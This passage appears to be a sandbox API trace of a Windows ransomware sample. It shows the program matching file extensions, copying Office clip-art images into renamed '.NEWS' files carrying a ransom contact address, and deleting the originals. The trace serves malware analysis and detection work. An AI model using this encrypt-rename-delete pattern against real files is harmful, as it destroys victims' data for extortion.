lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString=".bz2") returned 4 [0090.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString=".7z") returned 3 [0090.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.950] lstrlenW (lpString=".dbf") returned 4 [0090.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.950] lstrlenW (lpString=".1cd") returned 4 [0090.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0090.950] lstrlenW (lpString=".jpg") returned 4 [0090.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.951] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0090.951] lstrlenW (lpString="J0099156.JPG") returned 12 [0090.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.238] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=13954) returned 1 [0091.262] CloseHandle (hObject=0x2f4) returned 1 [0091.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0091.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.263] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.263] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.263] GetLastError () returned 0x0 [0091.263] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3682, lpOverlapped=0x0) returned 1 [0091.265] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3690, lpOverlapped=0x0) returned 1 [0091.266] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.266] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.266] SetEndOfFile (hFile=0x330) returned 1 [0091.266] CloseHandle (hObject=0x330) returned 1 [0091.266] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.266] SetEndOfFile (hFile=0x2f4) returned 1 [0091.267] CloseHandle (hObject=0x2f4) returned 1 [0091.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0091.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.271] lstrlenW (lpString=".doc") returned 4 [0091.271] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.271] lstrlenW (lpString=".docx") returned 5 [0091.271] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0091.271] lstrlenW (lpString=".pdf") returned 4 [0091.271] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.272] lstrlenW (lpString=".xls") returned 4 [0091.272] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.272] lstrlenW (lpString=".xlsx") returned 5 [0091.272] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0091.272] lstrlenW (lpString=".ppt") returned 4 [0091.272] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.272] lstrlenW (lpString=".zip") returned 4 [0091.272] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.272] lstrlenW (lpString=".rar") returned 4 [0091.272] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.272] lstrlenW (lpString=".bz2") returned 4 [0091.272] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.272] lstrlenW (lpString=".7z") returned 3 [0091.272] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.272] lstrlenW (lpString=".dbf") returned 4 [0091.272] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.272] lstrlenW (lpString=".1cd") returned 4 [0091.272] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.272] lstrlenW (lpString=".jpg") returned 4 [0091.272] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.272] lstrlenW (lpString=".doc") returned 4 [0091.272] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.272] lstrlenW (lpString=".docx") returned 5 [0091.272] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0091.272] lstrlenW (lpString=".pdf") returned 4 [0091.272] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.272] lstrlenW (lpString=".xls") returned 4 [0091.272] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.272] lstrlenW (lpString=".xlsx") returned 5 [0091.273] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0091.273] lstrlenW (lpString=".ppt") returned 4 [0091.273] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.273] lstrlenW (lpString=".zip") returned 4 [0091.273] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.273] lstrlenW (lpString=".rar") returned 4 [0091.273] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.273] lstrlenW (lpString=".bz2") returned 4 [0091.273] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.273] lstrlenW (lpString=".7z") returned 3 [0091.273] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.273] lstrlenW (lpString=".dbf") returned 4 [0091.273] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.273] lstrlenW (lpString=".1cd") returned 4 [0091.273] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0091.273] lstrlenW (lpString=".jpg") returned 4 [0091.273] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.273] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.273] lstrlenW (lpString="J0099165.JPG") returned 12 [0091.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.274] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=50490) returned 1 [0091.274] CloseHandle (hObject=0x2f4) returned 1 [0091.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0091.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.274] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.274] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.275] GetLastError () returned 0x0 [0091.275] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xc53a, lpOverlapped=0x0) returned 1 [0091.277] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xc540, lpOverlapped=0x0) returned 1 [0091.279] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.279] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.279] SetEndOfFile (hFile=0x330) returned 1 [0091.279] CloseHandle (hObject=0x330) returned 1 [0091.279] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.279] SetEndOfFile (hFile=0x2f4) returned 1 [0091.280] CloseHandle (hObject=0x2f4) returned 1 [0091.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0091.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.281] lstrlenW (lpString=".doc") returned 4 [0091.281] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.281] lstrlenW (lpString=".docx") returned 5 [0091.281] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0091.281] lstrlenW (lpString=".pdf") returned 4 [0091.281] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.281] lstrlenW (lpString=".xls") returned 4 [0091.281] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.281] lstrlenW (lpString=".xlsx") returned 5 [0091.281] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0091.281] lstrlenW (lpString=".ppt") returned 4 [0091.281] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.281] lstrlenW (lpString=".zip") returned 4 [0091.281] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.281] lstrlenW (lpString=".rar") returned 4 [0091.281] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.281] lstrlenW (lpString=".bz2") returned 4 [0091.281] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.281] lstrlenW (lpString=".7z") returned 3 [0091.281] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.281] lstrlenW (lpString=".dbf") returned 4 [0091.281] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.281] lstrlenW (lpString=".1cd") returned 4 [0091.281] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.281] lstrlenW (lpString=".jpg") returned 4 [0091.281] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.282] lstrlenW (lpString=".doc") returned 4 [0091.282] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.282] lstrlenW (lpString=".docx") returned 5 [0091.282] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0091.282] lstrlenW (lpString=".pdf") returned 4 [0091.282] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.282] lstrlenW (lpString=".xls") returned 4 [0091.282] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.282] lstrlenW (lpString=".xlsx") returned 5 [0091.282] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0091.282] lstrlenW (lpString=".ppt") returned 4 [0091.282] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.282] lstrlenW (lpString=".zip") returned 4 [0091.282] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.282] lstrlenW (lpString=".rar") returned 4 [0091.282] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.282] lstrlenW (lpString=".bz2") returned 4 [0091.282] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.282] lstrlenW (lpString=".7z") returned 3 [0091.282] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.282] lstrlenW (lpString=".dbf") returned 4 [0091.282] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.282] lstrlenW (lpString=".1cd") returned 4 [0091.282] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0091.282] lstrlenW (lpString=".jpg") returned 4 [0091.282] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.283] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.283] lstrlenW (lpString="J0099166.JPG") returned 12 [0091.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.283] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=64767) returned 1 [0091.283] CloseHandle (hObject=0x2f4) returned 1 [0091.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0091.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.283] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.283] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.284] GetLastError () returned 0x0 [0091.284] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xfcff, lpOverlapped=0x0) returned 1 [0091.286] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xfd00, lpOverlapped=0x0) returned 1 [0091.288] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.288] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.288] SetEndOfFile (hFile=0x330) returned 1 [0091.288] CloseHandle (hObject=0x330) returned 1 [0091.288] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.288] SetEndOfFile (hFile=0x2f4) returned 1 [0091.290] CloseHandle (hObject=0x2f4) returned 1 [0091.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0091.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.290] lstrlenW (lpString=".doc") returned 4 [0091.290] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.290] lstrlenW (lpString=".docx") returned 5 [0091.290] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0091.290] lstrlenW (lpString=".pdf") returned 4 [0091.290] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.290] lstrlenW (lpString=".xls") returned 4 [0091.290] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.290] lstrlenW (lpString=".xlsx") returned 5 [0091.290] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0091.290] lstrlenW (lpString=".ppt") returned 4 [0091.290] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.290] lstrlenW (lpString=".zip") returned 4 [0091.290] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.291] lstrlenW (lpString=".rar") returned 4 [0091.291] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.291] lstrlenW (lpString=".bz2") returned 4 [0091.291] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.291] lstrlenW (lpString=".7z") returned 3 [0091.291] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.291] lstrlenW (lpString=".dbf") returned 4 [0091.291] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.291] lstrlenW (lpString=".1cd") returned 4 [0091.291] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.291] lstrlenW (lpString=".jpg") returned 4 [0091.291] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.291] lstrlenW (lpString=".doc") returned 4 [0091.291] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.291] lstrlenW (lpString=".docx") returned 5 [0091.291] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0091.291] lstrlenW (lpString=".pdf") returned 4 [0091.291] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.291] lstrlenW (lpString=".xls") returned 4 [0091.291] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.291] lstrlenW (lpString=".xlsx") returned 5 [0091.291] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0091.291] lstrlenW (lpString=".ppt") returned 4 [0091.291] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.292] lstrlenW (lpString=".zip") returned 4 [0091.292] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.292] lstrlenW (lpString=".rar") returned 4 [0091.292] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.292] lstrlenW (lpString=".bz2") returned 4 [0091.292] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.292] lstrlenW (lpString=".7z") returned 3 [0091.292] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.292] lstrlenW (lpString=".dbf") returned 4 [0091.292] 